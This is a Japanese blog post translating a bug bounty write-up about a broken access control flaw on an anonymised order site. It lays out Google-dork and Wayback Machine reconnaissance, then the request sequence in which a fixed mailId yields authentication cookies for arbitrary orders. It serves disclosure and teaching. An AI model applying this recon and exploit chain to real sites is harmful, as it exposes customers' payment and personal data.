How I Prevented a Mass Data Breach - $15,000 bounty - @bxmbn から学ぶ

ソース:

medium.com

脆弱性:情報漏洩

 

訳:

2023 年 7 月に、私は大規模なアセットを対象とする重大なバグ報奨金プログラムの招待状を受け取りました。
私のアプローチは、そのような広範なプログラムをテストするときに通常行うことを反映していました。
特定の Google Dork を使用して古いエンドポイントを検索します。

 

Dork used: site:privateprogram.com/webapp/

さまざま調べた結果、ユーザーの注文を保存する専用のサブドメインを発見し。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

アクセスしてみましたが、当然ながら禁断のエラーが出てしまいました。

さらにエンドポイントがあるかどうかを確認したかったので、それを後で保存し、ウェイバック マシンを使用しました。

 

http://web.archive.org/cdx/search/cdx?url= orders.privateprogram.com/webapp/ *&output=text&fl=original&collapse=urlkey&from=-

ウェイバックマシンの使用。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=003163553&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

これをリクエストして「200 OK」という応答を受け取りましたが、空白のページが返されました。
応答を調べたところ、リクエストを送信するたびにサーバーが Cookie を設定していることに気付きました。 

 

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

 

これらの Cookie に詳しい場合は、これらが実際には認証 Cookie であることがわかり。

そこで、これらの Cookie を使用して注文 003163553 を確認してみて。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=003163553

 

私はその命令にアクセスできるようになりました。
私は、mailId が注文にアクセスするためのセキュリティ キーとして機能するのではないかと推測しました。
この理論をテストするために、以前の Google の探索中に見つけた別の orderId (order 002233893、覚えていますか?) を使用して同じエクスプロイトを試み、同様にアクセスすることに成功しました。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

mailId は明らかにセキュリティ キーとして機能しようとしていますが、すべての注文のセキュリティ キーとして機能し、有効でリクエスト時に存在する限り、どの注文へのアクセスも許可します。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=<anyorder>&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

要約すると、たとえば、orderId 002143893 にアクセスしたい場合、最初のステップは、その特定の注文の Cookie を取得するために次のリクエストを行うことになります。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=002143893&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

空の応答が返されますが、サーバーはその特定の注文の Cookie を提供し。 

 

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

 

Cookie を取得したので、注文 002143893にアクセスできるようになり。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002143893

 

この脆弱性により、攻撃者は支払い方法、契約書 PDF、請求先および配送先住所、電子メール アドレス、電話番号、姓名などの機密情報を含む任意の人の注文にアクセスでき、300 万人分の情報が漏洩する可能性があります。

ご覧のとおり、Google Dorking と Wayback Machine がこの問題を発見する鍵となり。

ほなほな。